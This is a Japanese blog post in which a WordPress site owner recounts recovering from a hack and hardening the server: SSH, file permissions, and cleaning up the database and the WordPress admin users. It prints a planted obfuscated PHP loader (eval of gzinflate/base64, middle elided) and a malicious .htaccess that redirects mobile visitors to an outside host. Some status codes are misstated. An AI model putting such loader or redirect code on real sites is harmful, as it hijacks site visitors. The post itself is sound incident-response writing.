ワードプレスハッキング被害からの復旧と予防対策をまとめてみた（１２項目くらい）

ワードプレスで運営していたブログがハッキングされていたことが発覚後、復旧作業とセキュリティ強化を実施しました。

その具体的内容をメモしておきます。ハッキング被害で困っている方に役立てば嬉しく思います。

OSでのセキュリティ強化

OSへのログイン認証

ブログのサーバー環境の説明ですが、当サイトはCentOSでサーバーを構築し、そこでワードプレスを動かしています。なので、CentOSを前提として以降説明します。

まず最初に、ハッキングの手口として、OSログインの可能性を疑いました。ログイン失敗や成功の履歴は /var/log/secure に記録されています。または、last コマンドでも確認できます。

まずは、OSユーザーのパスワードを複雑なパスワードに変更しました。複雑なパスワードとは、大文字・小文字・数字・記号を含む16文字以上の長さがあるパスワードです。32文字あれば大丈夫でしょう。パスワードジェネレーターなどを使って作るのがいいと思います。

パスワード自動生成 (Automated Password Generator)
https://www.graviness.com/temp/pw_creator/
複雑なパスワードを生成するパスワードジェネレーター

例えばこのようなパスワードが好ましいです。

QC+Ykxv3Q7d)xVJBzD(HW=VjZ_R)]$ax

パスワードのセキュリティで重要なことは、長いことです。32文字あると安心です。また、パスワード不要なユーザーは、パスワードを削除しておきましょう。

次に、SSH接続における認証は、パスワード不可にして鍵認証のみとします。鍵認証の場合、ログインするには鍵ファイルが必要ですが、これを解読するのはとても困難なので、セキュリティ強化として推奨されています。

また、rootでの直接ログインも不可にします。これは /etc/ssh/sshd_config で設定できます。

rootを使いたいときはログイン許可ユーザーからスイッチしてrootを使うようにします。 rootにスイッチするときはパスワード認証なので、当然rootのパスワードも複雑なパスワードに変更します。管理者権限コマンドはsudoで実行するようにして、rootユーザーは使用しないという方法もあります。

念には念をということで、それまで使っていたプライベートキー（秘密鍵）とパブリックキー（公開鍵）は削除して、再作成しておきました。もしプライベートキーを奪取されていたとしても、再作成しておけばもうログインはできませんので。


# ssh-keygen -t rsa -b 4096

# ssh-keygen -t rsa -b 4096

ここまでやっておけば、OSユーザーでサーバーへ侵入するのは困難だと思います。

Webサーバー経由で侵入してくる場合の対処

Webサーバーを経由して侵入した可能性を考えます。ちなみに、WebサーバーはApache（アパッチ）を使っています。

Webサーバー経由で侵入されているということは、Webサーバーのセキュリティ設定に問題があるということになります。
ディレクトリやファイルの権限設定（パーミッションや所有権）が代表的な例ですね。

ディレクトリ権限 777 （drwxrwxrwx）が特に危険です。ハッキングに必要なファイルを置くことができ、ハッキングスクリプトを実行できてしまいます。ハッカーにアパッチ経由でOSコマンドを実行できる権限を与えてしまうことになるのです。

ブログが権限などのパーミッション設定でうまく動かないことってありがちですが、安易な対応でついディレクトリ権限を 777 にしたりしてしまうんですよね。するとパーミッションエラーが解消されブログが動くのですが・・・

これが落とし穴。。。

フルパーミッションは原則禁止にしましょう。777 は 755 の権限にすべて変更します。フルパーミッションになっているディレクトリの探し方ですが、簡単です。コマンド一発でわかります。


# find /work -type d -ls | grep drwxrwxrwx

# find /work -type d -ls | grep drwxrwxrwx

あと、ファイルとディレクトリの所有権とグループを apache に変更します。

所有権　　→　apache
グループ　→　apache


# chown apache.apache ファイル名
# chown apache.apache ディレクトリ名

# chown apache.apache ファイル名

# chown apache.apache ディレクトリ名

基本的には、所有権・グループを apache にしておけば、パーミッション 755 でブログは正常に動作します。この状態でパーミッションエラーが出る場合は、別の原因がありますのでそれを解決しましょう。

決して 777 にしてはいけませんよ。

ちなみに、ハッカーが作成するディレクトリは、パーミッション 777 で作ってありました。777 である必要があるのでしょう、きっと。

ハッキングで配置されたファイルを探し出す

ハッキングされている場合、必ずハッキング用ファイルが配置されています。
それを探し出す必要があるのですが、これがなかなか大変です。

大変ですが、やり方やパターンさえわかれば探し出すことは可能です。

ファイル名の不自然さからハッキングファイルを探す

まず、ハッキングで置かれたファイルは、ファイル名で判別できるものがあります。文字と数字の組み合わせが意味不明なファイルです。

例えば、ricrajws6z.php などです。

中身を確認すると、以下のようになってたりします。

# cat ricrajws6z.php
<?php

eval("\n\$dgreusdi = intval(__LINE__) * 337;");

$a = "7VdrT+NGFP1eqf9hiCIcKwHFj7ClIQh2Bd1V6bIthVZC1Jo4k2QSvzR2674raF/94zDk78GLOou5W6Uo2M7Zlzz33MnTs3JzzgTsySlsa674CIXjhROtQ95fX1zo/W+/IbhONgjMOSkqBqRbnffpvcPumbtIeBg4CfdZAQdMOuh43OdJK52Qf3KySaNIh674vqxWRAzvFg/WxqHApG3SlpNZ03l5c/vjsjNCZNNwznnDlhwAbH2UeyCvW1zF/rR4U5h9zwpyCfBnTChMODJU+otD+HhpIiOk8pmB8u4RNL674iZazpDG7MB2RswNR6y1ReodlZIsNvLavv674xyUtuJ3JuyWuIwMxzDI/r18dN5BaBm7rCfcnFHJ8ltFUNkWDJQgSkZHvj+vSnn2+M8OJs8vri+jR+e2YYV7+vTj9cee9vbk57b65XZxfXhvHDL97k9W/n7942Mm+qBsAZFoycOB6748mMSpc
＜長いので途中省略＞
KrsAiVRjdQu6d6fn+vk6AgbvL5Lk5fsYpT0a674UVJ7T8ocGDBauSltwMFn6do5y0iVGJVdoZV7xpGy+IAv49kJYiFmvpfDRMZYM674YyveVlza2G6+1Hbzs2w3S7YffAHTrZeabr3Y9DrhJ8v/sc2rKfcY6GUiHZOu2gw33QPDJ2VdXDo5PsbpplL71JLsD9IfM67StC674iPSDlPZNZvbf3/GaSMR4QW93BZj+D1mZkDdbf";
$a = str_replace($dgreusdi, "E", $a);
eval (gzinflate(base64_decode($a)));
#

# cat ricrajws6z.php

<?php

eval("\n\$dgreusdi = intval(__LINE__) * 337;");

$a = "7VdrT+NGFP1eqf9hiCIcKwHFj7ClIQh2Bd1V6bIthVZC1Jo4k2QSvzR2674raF/94zDk78GLOou5W6Uo2M7Zlzz33MnTs3JzzgTsySlsa674CIXjhROtQ95fX1zo/W+/IbhONgjMOSkqBqRbnffpvcPumbtIeBg4CfdZAQdMOuh43OdJK52Qf3KySaNIh674vqxWRAzvFg/WxqHApG3SlpNZ03l5c/vjsjNCZNNwznnDlhwAbH2UeyCvW1zF/rR4U5h9zwpyCfBnTChMODJU+otD+HhpIiOk8pmB8u4RNL674iZazpDG7MB2RswNR6y1ReodlZIsNvLavv674xyUtuJ3JuyWuIwMxzDI/r18dN5BaBm7rCfcnFHJ8ltFUNkWDJQgSkZHvj+vSnn2+M8OJs8vri+jR+e2YYV7+vTj9cee9vbk57b65XZxfXhvHDL97k9W/n7942Mm+qBsAZFoycOB6748mMSpc

＜長いので途中省略＞

KrsAiVRjdQu6d6fn+vk6AgbvL5Lk5fsYpT0a674UVJ7T8ocGDBauSltwMFn6do5y0iVGJVdoZV7xpGy+IAv49kJYiFmvpfDRMZYM674YyveVlza2G6+1Hbzs2w3S7YffAHTrZeabr3Y9DrhJ8v/sc2rKfcY6GUiHZOu2gw33QPDJ2VdXDo5PsbpplL71JLsD9IfM67StC674iPSDlPZNZvbf3/GaSMR4QW93BZj+D1mZkDdbf";

$a = str_replace($dgreusdi, "E", $a);

eval (gzinflate(base64_decode($a)));

このような怪しいファイルを見つけたら、とりあえずブログ公開ディレクトリ以外のディレクトリに移動します。移動後、ブログが正常に動作することを確認しましょう。

少々手間がかかりますが、もっと安全な方法としては、WordPressでブログを新しく立ち上げて、怪しいと思ったファイルが存在しないことを確認できるとベストです。

ファイルサイズで探す

調べていてわかったことですが、同じ内容のファイルを別名で他のディレクトリにも配置してありました。
そのファイルも駆除しないといけないので、次にやることは同じサイズのファイルを検索します。

これも探し方は簡単で、コマンドで探します。
コマンド ls -l などでファイルサイズを調べ、例えば 1797 バイトだった場合は以下のコマンドで調べれます。


# find "公開ディレクトリ" -type f -ls | grep " 1797 "

# find "公開ディレクトリ" -type f -ls | grep " 1797 "

ファイル内の文字列を検索する

ハッキングファイルの内容を調べると、内容にパターンを発見することができます。
例えば、上記のファイル内容の例であれば、「dgreusdi」や「D1mZkDdbf」などです。
ハッキングファイルは複数存在していると考えるべきで、このような文字列をヒントに探し出します。
探し方はコマンド一発です。


# find "公開ディレクトリ" -type f | xargs grep dgreusdi

# find "公開ディレクトリ" -type f | xargs grep dgreusdi

複数の単語やキーワードで検索したい場合は、次のようにすればOK


# find "公開ディレクトリ" -type f | xargs grep -E "dgreusdi|D1mZkDdbf"

# find "公開ディレクトリ" -type f | xargs grep -E "dgreusdi|D1mZkDdbf"

検索でヒットしたファイル名は、内容を確認して怪しければブログ公開ディレクトリ以外のディレクトリに移動します。そしてブログが動作することを確認します。
もし 505 内部エラーなどになる場合は、元のディレクトリに戻してくださいね。

Webサーバーのアクセスログから見つけ出す

アクセスログからもハッキングファイルを見つけ出すヒントを得られます。ハッカーはハッキング用に配置したファイルにWebからアクセスして何かをしているので、呼び出しているハッキングファイルがないか探します。
例をあげると以下のようなログです。


"GET /wp-content/3u5lk.php?essay=paper-for-a-creating-thesis-a-research'A=0 HTTP/1.1" 200 20

"GET /wp-content/3u5lk.php?essay=paper-for-a-creating-thesis-a-research'A=0 HTTP/1.1" 200 20

/wp-content/3u5lk.php へアクセスして、？以降ではパラメータを渡して何かを実行しているのであろうと推測できます。ということは、ブログ公開ディレクトリ以下に　 /wp-content/3u5lk.php 　というハッキングファイルが配置されているとわかります。

リターンコードが 200 であることからも、リクエストに対して応答していることがわかります。もしファイルが存在しなければ Not Found を意味する 401 とか 301 など、応答を返せなかったというコードになります。

.htaccess の不正配置と内容を調べる

アパッチには、Webサーバーの動きを制御する .htaccess というファイルがあります。自分の場合は、この .htaccess が結構いじられてましたし、配置もされていました。
.htaccess のことを詳しくは理解はしていないのですが、調べていくなかでハッカーはこのファイルを重要視していることは伝わってきました。
例をあげると以下のような内容です。

# cat .htaccess
RewriteEngine Off
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (DoCoMo|KDDI|DDIPOKET|UP\.Browser|J-PHONE|Vodafone|SoftBank|Samsung)
RewriteRule ^(.*)$ http://xxxxx.com/m/$1 [R,L]
RewriteCond %{HTTP_USER_AGENT} !(iPhone|iPod|Android.*Mobile|Windows.*Phone|BlackBerry)
RewriteRule ^(.*)$ http://xxxxx.com/$1 [R,L]
#

# cat .htaccess

RewriteEngine Off

RewriteEngine On

RewriteCond %{HTTP_USER_AGENT} (DoCoMo|KDDI|DDIPOKET|UP\.Browser|J-PHONE|Vodafone|SoftBank|Samsung)

RewriteRule ^(.*)$ http://xxxxx.com/m/$1 [R,L]

RewriteCond %{HTTP_USER_AGENT} !(iPhone|iPod|Android.*Mobile|Windows.*Phone|BlackBerry)

RewriteRule ^(.*)$ http://xxxxx.com/$1 [R,L]

DoCoMo？ KDDI？ DDIPOCKET？そんなコードがワードプレスに必要なわけがないと推測できます。

また、URLに /m/$1 など普通のワードプレスのブログだとあり得ないようなURLが書かれています。こういうのを見つけたら排除しましょう！

上の例は新規に置かれていた .htaccess ですが、既存の .htaccess にも追記書きしているケースもありました。

最初は、削除しても問題ないのか悩みました。
というのも、ワードプレスのプラグインをインストールすると、それに付随して配置されるものもあるからです。

プラグインのものだと、ファイルは /wp-content/plugins/ ”プラグイン名”の下に配置されますが、インストールした覚えのないプラグイン名のディレクトリ名だったりしたら削除しました。

プラグインで使用する .htaccess を書き換えられている可能性がある場合は、プラグインを削除して再インストールすればよいです。
削除して本来の .htaccess が再作成されるので、ハッキングによる書き換えを排除できます。

先ほども書いたように、消して問題ないか判断できない場合は、新規にワードプレスを立ち上げてファイル内容を比較するのがベストです。

ワードプレスのユーザー一覧を確認

ハッキング被害を調べていくなかで、「どうしてこんなにもファイル書き換えやファイル配置ができるのだろうか？」という疑問が浮かんだのですが、そう考えていたときにふと直観でひらめきがありました。

「ワードプレスのユーザーは大丈夫なのか？」と。

管理者権限のユーザー名とパスワードが解読されていたら、ワードプレスを乗っ取ることができます。

もしかして、、、、

そう思って調べたら、やっぱりハッキングの形跡があったのです。
ユーザーは１アカウントしか作っていなかったのに、追加で管理者権限ユーザーが作られていたのです。

ということは、管理者ユーザーとパスワードが解読されてしまったか、DBに直接アクセスしてユーザーを作成されてしまってます。

これをやられると、もう何でもできてしまいます。
記事書き換えや、phpファイルも書き換えできるうえ、DB接続パスワードも見られてしまいます。

即刻ユーザー削除しました。

本来の管理者ユーザーのパスワードを複雑なパスワードに変更します。（大文字、小文字、記号、数字、32文字）
もっと安全な方法としては、別名の管理者権限ユーザーを作成して、元の管理者ユーザーを削除してしまう方がよりベストです。

パスワード自動生成 (Automated Password Generator)
https://www.graviness.com/temp/pw_creator/
複雑なパスワードを生成するパスワードジェネレーター

データベースのテーブルを確認

ワードプレスの管理者ユーザーが乗っ取られていたら、データベースも不正アクセスされていると考えたほうがいいでしょう。
DB接続ユーザーとパスワードも把握されているはずです。

データベースはMySQLを使っているので、MySQLのコマンドライン、もしくは phpMyAdmin でブログのデータベースに接続して、テーブル一覧を確認します。
すると案の定、予想通りの結果でした。

怪しい名前のテーブルが作られていました。
名前から簡単に推測できないように「wp_」始まりのテーブル名で紛らわしいものでした。テーブルのデータ内容を確認すると、不正に置かれたphpファイル内容の単語に似たような文字列が並んでいました。

念のため、テーブル削除する前にはDBバックアップを取得しておきます。


# mysqldump -u root -p DB名 > /DBbackup/DB名_yyyymmdd.dump

# mysqldump -u root -p DB名 > /DBbackup/DB名_yyyymmdd.dump

あとは、MySQLのコマンドラインから、drop table で削除します。
phpMyAdmin を使える場合は、phpMyAdmin での操作の方がわかりやすいでしょう。


mysql> use DB名
mysql> drop table テーブル名 ;

mysql> use DB名

mysql> drop table テーブル名 ;

データベース接続ユーザーを変更

データベースにテーブルを作られていたとなると、ユーザーを変えたほうがいいでしょう。
別名ユーザーを新しく作成し、アクセス権限を付与します。
もちろん、新しく作ったユーザーのパスワードは複雑なパスワードにします。（大文字、小文字、記号、数字、32文字）

mysql> create user 'userb'@'localhost' identified by '複雑なパスワード' ;
mysql> grant all on 'DB名'.* to 'userb'@'localhost' ;

1 2	mysql> create user 'userb'@'localhost' identified by '複雑なパスワード' ; mysql> grant all on 'DB名'.* to 'userb'@'localhost' ;

DB接続ユーザー名とパスワードは、ブログ公開ディレクトリ直下の wp-config.php に記述されているので、それを新しいユーザーとパスワードに変更します。

# vi wp-config.php

/** MySQL データベースのユーザー名 */
define('DB_USER', 'userb');

/** MySQL データベースのパスワード */
define('DB_PASSWORD', '複雑なパスワード');

# vi wp-config.php

/** MySQL データベースのユーザー名 */

define('DB_USER', 'userb');

/** MySQL データベースのパスワード */

define('DB_PASSWORD', '複雑なパスワード');

その後、ブログにアクセスして、TOP画面や記事が正常に表示されることを確認します。

忘れてはいけないのが、元のDB接続ユーザーの削除です。
これを残したままにしておくとまたDBにアクセスされてしまいます。


mysql> drop user usera@localhost ;

mysql> drop user usera@localhost ;

さらに、wp-config.php のパーミッションを 400 に高めて、ユーザーパスワードを極力見れないように対処しておきましょう。


# chmod 400 wp-config.php

# chmod 400 wp-config.php

wp-config.php へのアクセスを遮断

wp-config.php にはデータベース接続に必要なユーザーとパスワードが暗号化されずにそのまま記載されています。
なので、ハッカーがアパッチ経由で内容を確認できないようにセキュリティを固める必要があります。

やり方としては、 .htaccess でファイルアクセスを拒否します。
wp-config.php が配置されているディレクトリに、.htaccess があるので（なければ作成）そこに以下を追記します。

# vi .htaccess

<files wp-config.php>
order allow,deny
deny from all
</files>

# vi .htaccess

order allow,deny

deny from all

</files>

これで、アパッチ経由で wp-config.php を参照することが不可になります。

xmlrpc.php の応答を無効化

アパッチのアクセスログを追っていた時にわかったのですが、ハッカー達はハッキングするブログを探す際に、 xmlrpc.php の応答を確認しているようです。
このファイルは、メールで記事を投稿するときに使用する機能らしいですが、普段PCからしかブログを書かないのであれば無用の機能です。
不要なのでこの機能を無効化してアクセスがきても応答を返さないようにします。

wp-config.php が配置されているディレクトリの、.htaccess に
「RewriteRule ^xmlrpc.php$ “http\:\/\/0.0.0.0\/” [R=301,L]」
を追加すればOKです。

# vi .htaccess

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^xmlrpc\.php$ "http\:\/\/0\.0\.0\.0\/" [R=301,L]
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# vi .htaccess

RewriteEngine On

RewriteBase /

RewriteRule ^xmlrpc\.php$ "http\:\/\/0\.0\.0\.0\/" [R=301,L]

RewriteRule ^index\.php$ - [L]

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-d

RewriteRule . /index.php [L]

</IfModule>

アクセスログを見ると、wp-config.php へのアクセスに対して 301 を返していました。
正常な応答を返しているときのリターンコードは 200 なので、無効化できていることを確認できます。

セキュリティ対策のプラグインをインストール

SiteGuard というセキュリティを強固にできる優れたプラグインがあります。
重宝している機能は以下です。

ログインページを変更できる（wp_admin → wp_change や login_88888 など自由に設定可能）
日本語ひらがなの画像認証を導入できる（日本語圏外からのログインを抑止できる）
ログイン履歴を確認できる（ログイン試行されているのを確認できました）
ログインロック機能（ログイン失敗を繰り返す接続元を一定期間ロックする　最大5分）

これだけの機能があれば、ワードプレスを乗っ取ろうとする輩の大半を追い返すことができると思います。

ログインページ変更は効果が大きいと思われます。デフォルトのログインページにアクセスできないので、ハッカーはログインを試みることすらできません。また、ログインページにアクセスしても「404　見つかりません」となるのでワードプレス管理画面をハッカーから守ることができます。

.htaccess の所有権をrootに変更

.htaccessを乗っ取られることの被害の大きさを実感しましたので、アパッチ経由で書き換えできないように所有権を root.root に変更しました。

この対応に関しては、賛否両論あるかと思いますので、ご自身で判断してください。

所有権をrootにするとブログが正常に動作しないのではないか？という疑問を持たれるかもしれませんが、大丈夫です。Other に参照権限を付与しておけば Webプロセスを動かしている apache は内容を参照することができます。
apache は .htaccess の内容を見れればOKなのです。

次のコマンドで、所有権をroot、パーミッション604 に変更できます。

# find "公開ディレクトリ" -name .htaccess -exec chown root.root {} \;
# find "公開ディレクトリ" -name .htaccess -exec chmod 604 {} \;

1 2	# find "公開ディレクトリ" -name .htaccess -exec chown root.root {} \; # find "公開ディレクトリ" -name .htaccess -exec chmod 604 {} \;

所有権を apache に戻す場合のコマンド


# find "公開ディレクトリ" -name .htaccess -exec chown apache.apache {} \;

# find "公開ディレクトリ" -name .htaccess -exec chown apache.apache {} \;

.htaccess の所有権やパーミッションを確認するコマンド


# find "公開ディレクトリ" -name .htaccess -ls

# find "公開ディレクトリ" -name .htaccess -ls

プラグインを追加で色々とインストールしていますが、今のところ問題はないですね。パーミッションエラーが出た場合のみ、apache に戻して、作業を終えたらまた root に変更しています。

万が一、ハッカーによって .htaccess を不正配置されても、apache で作成されるはずなので、所有権を確認すれば異常を一発で検知できるメリットもありますし、root 権限にすることで書き換えが不可能になります。（OSの root ユーザーが乗っ取られていないことが前提ですが、、）

この対応後、ブログは問題なく動作できています。何より .htaccess の絶対的な安全を確保したという精神的な安心感を得られるのが大きなメリットです。

ハッキング対応完了後どうなったのか？

以上でハッキング被害の修復と、今後の予防対策は完了です。

ハッキングがどんな手口で何をしているのかもわからない状態から、少しずつ調べてここまで対応しました。これでもまだ見落としがあるかもしれませんが、いったんはこれで様子見としました。

対応直後は、削除したPHPファイルなどへのアクセス試行が頻繁にありましたが、それも徐々に収束していき、1週間ほど経過するとほぼなくなりました。

アクセスログを見ているとハッカーがアクセスを試みているのは、wp-admin、wp-login、xmlrpc.php、ハッキング用PHPファイル、が多いようです。

なので、これらのアクセスに対してはセキュリティを強化しておいたほうが良さそうです。その観点から SiteGuardプラグインはとてもありがたいです。

今回、ハッキング被害を受けたおかげで？というのも変ですが、ハッキングの手口を知ることができたので、まー収穫はあったとポジティブに受け止めていますが、今後は勘弁ですね。。

新たな手口でまた被害を被るかもしれませんが、その時はその時で対応しようと思います。

ハッキング対策として、最低限ワードプレスとプラグインの最新化はやっておいたほうが無難ですね。ワードプレス本体のソースコードを書き換えられていた場合はだいたい初期化して正常化できますからね。

もし、「これもやっておいたほうがいいよ！」などありましたら、コメントで知らせてもらえると嬉しいです。

終わり